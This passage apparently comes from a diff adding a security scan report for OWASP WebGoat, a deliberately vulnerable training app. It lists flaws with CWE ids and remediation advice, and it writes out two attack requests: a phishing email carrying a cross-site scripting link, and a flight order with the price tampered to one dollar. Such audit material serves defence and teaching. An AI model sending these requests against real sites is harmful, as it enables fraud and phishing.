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</data>\n</screenshot>\n<code>The
+        following POST request demonstrates the issue. It send an email message to
+        Phising.Victim@owasp.org. The message body contains a link that when clicked
+        will utilize a cross-site scripting attack to make the phising attack appear
+        more legitimate.\n\nPOST /WebGoat/attack?Screen=1706623184&amp;menu=1700 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        339\n\ngId=GMail+id&amp;gPass=password&amp;subject=Password Reset Necessary!&amp;to=Phising.Victim%40owasp.org&amp;msg=Due
+        to a security flaw in our software all users must immediatly reset their password.
+        Please click the following link to reset your password: http://targethost/WebGoat/somevulnerablepage?xssparam=XssPayLoadThatWillStealPassword&amp;SUBMIT=Send%21</code>\n</appendix>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"273\" module=\"manual_analysis\" type=\"\" description=\"The
+        application trusts values used in business logic that originate from the client.
+        The price of a flight is passed to the client through a JSON request. The
+        price value is subsequently sent back to the application when the client orders
+        a flight. There is no verification that the price value has not be modified.\"
+        note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\"
+        cvss=\"6\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"price2Submit\">\n<exploit_desc>A
+        malicious client attempting to book a flight and save money can intercept
+        the booking request and modify the price.</exploit_desc>\n<severity_desc>The
+        issue becomes severe since the malicious client will cause a loss in revenue.
+        A sophisticated attacker may resell the stolen flights at a discounted rate,
+        causing an even larger loss in revenue.</severity_desc>\n<remediation_desc>Only
+        send values from the client to the application that are necessary and cannot
+        be obtained from an internal data source. The price of the flight can be associated
+        with the the client's session, then obtained from the internal and trusted
+        data source as necessary. Treat all values from the client as untrusted.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<code>The
+        following POST request allows a ticket from BOS to SEA to be purchased for
+        1 dollar.\nNotice that the price2Submit parameter is set to %241 or $1\n\nPOST
+        /WebGoat/attack?Screen=655909089&amp;menu=400 HTTP/1.1\nHost: targethost\nUser-Agent:
+        Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept:
+        text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        69\n\ntravelFrom=BOS&amp;travelTo=SEA&amp;radio0=on&amp;SUBMIT=Submit&amp;price2Submit=%241</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"13\" categoryname=\"Race Conditions\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Race conditions are the most well-known timing flaw and are related
+        to improper handling of a resource that can be accessed by multiple processes.
+        \ Race conditions exploit the small window of time between when a security
+        control is applied and when the service is used.  Vulnerabilities occur when
+        there is a discrepancy between the programmer's assumption of how a program
+        executes and what happens in reality. \"/>\n<para text=\"Attackers often exploit
+        race conditions to gain unauthorized access to system resources.  A common
+        scenario is a time-of-check time-of-use race condition, which takes advantage
+        of a timing gap between the time the authorization check is performed and
+        the time the resource is actually used. \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Review the code carefully for any pair of operations that might fail
+        if arbitrary code is executed between them. Often, developers assume that
+        a series of actions represent an atomic operation when in fact they do not.
+        These non-atomic conditions commonly involve the filesystem and/or temporary
+        files.\"/>\n<para text=\"Pay close attention to asynchronous actions in processes
+        and make copious use of sanity checks in systems that may be subject to synchronization
+        errors.\"/>\n</recommendations>\n<cwe cweid=\"366\" cwename=\"Race Condition
+        within a Thread\" pcirelated=\"false\" certc=\"748\" certcpp=\"882\" certjava=\"852\">\n<description>\n<text
+        text=\"If two threads of execution use a resource simultaneously, there exists
+        the possibility that resources may be used while invalid, in turn making the
+        state of execution undefined.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\"
+        categoryname=\"Race Condition within a Thread\" count=\"1\" issueid=\"47\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"span.set\" description=\"There
+        are total of 12 instances. A shared variable 'mySession' is used here without
+        a locking mechanism such as a synchronized block. If two threads of execution
+        reference a shared variable simultaneously, the variable may be invalid or
+        in an unexpected state.\r\n\r\nUse locking functionality around code that
+        alters or reads persistent data in a multi-threaded environment.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/366.html)\r\n\r\n\" note=\"\"
+        cweid=\"366\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"13\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"135\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void doPost(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
+        functionrelativelocation=\"3\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"2\">\n<category categoryid=\"7\" categoryname=\"API Abuse\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"An API is a contract between a caller and a callee. Incorrect usage
+        of certain API functions can result in exploitable security vulnerabilities.\"/>\n<para
+        text=\"The most common forms of API abuse are caused by the caller failing
+        to honor its end of this contract.  For example, if a program fails to call
+        chdir() after calling chroot(), it violates the contract that specifies how
+        to change the active root directory in a secure fashion.  Providing too few
+        arguments to a varargs function such as printf() also violates the API contract
+        and will cause the missing parameters to be populated with unexpected data
+        from the stack.\"/>\n<para text=\"Another common mishap is when the caller
+        makes false assumptions about the callee's behavior.  One example of this
+        is when a caller expects a DNS-related function to return trustworthy information
+        that can be used for authentication purposes.  This is a bad assumption because
+        DNS responses can be easily spoofed.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"When calling API functions, be sure to fully understand and adhere
+        to the specifications to avoid introducing security vulnerabilities.  Do not
+        make assumptions about trustworthiness of the data returned from API calls
+        or use the data in a context that was unintended by that API.\"/>\n</recommendations>\n<cwe
+        cweid=\"245\" cwename=\"J2EE Bad Practices: Direct Management of Connections\"
+        pcirelated=\"false\">\n<description>\n<text text=\"The J2EE application directly
+        manages connections rather than using the container's resource management
+        facilities to obtain connections as specified in the J2EE standard.  Every
+        major web application container provides pooled database connection management
+        as part of its resource management framework. Duplicating this functionality
+        in an application is difficult and error prone, which is part of the reason
+        it is forbidden under the J2EE standard.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"202\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"114\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"68\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(WebSession)\" functionrelativelocation=\"93\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"41\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"78\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"90\"/>\n<flaw severity=\"2\" categoryname=\"J2EE
+        Bad Practices: Direct Management of Connections\" count=\"1\" issueid=\"26\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"253\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"105\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"597\" cwename=\"Use
+        of Wrong Operator in String Comparison\" pcirelated=\"false\" certjava=\"847\">\n<description>\n<text
+        text=\"Using '==' to compare two strings for equality or '!=' for inequality
+        actually compares the object references rather than their values.  It is unlikely
+        that this reflects the intended application logic.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"176\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"142\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"70\"/>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"203\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"280\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"85\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"248\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"282\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"86\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"164\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"614\" cwename=\"Sensitive Cookie
+        in HTTPS Session Without 'Secure' Attribute\" pcirelated=\"false\" owasp=\"934\"
+        sans=\"311\">\n<description>\n<text text=\"Setting the Secure attribute on
+        an HTTP cookie instructs the web browser to send it only over a secure channel,
+        such as an SSL connection.  Issuing a cookie without the Secure attribute
+        allows the browser to transmit it over unencrypted connections, which are
+        susceptible to eavesdropping.  It is particularly important to set the Secure
+        attribute on any cookies containing sensitive data, such as authentication
+        information (e.g. &quot;remember me&quot; style functionality).\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"158\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"172\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage1(session.WebSession)\" functionrelativelocation=\"94\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"154\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"193\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"3\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
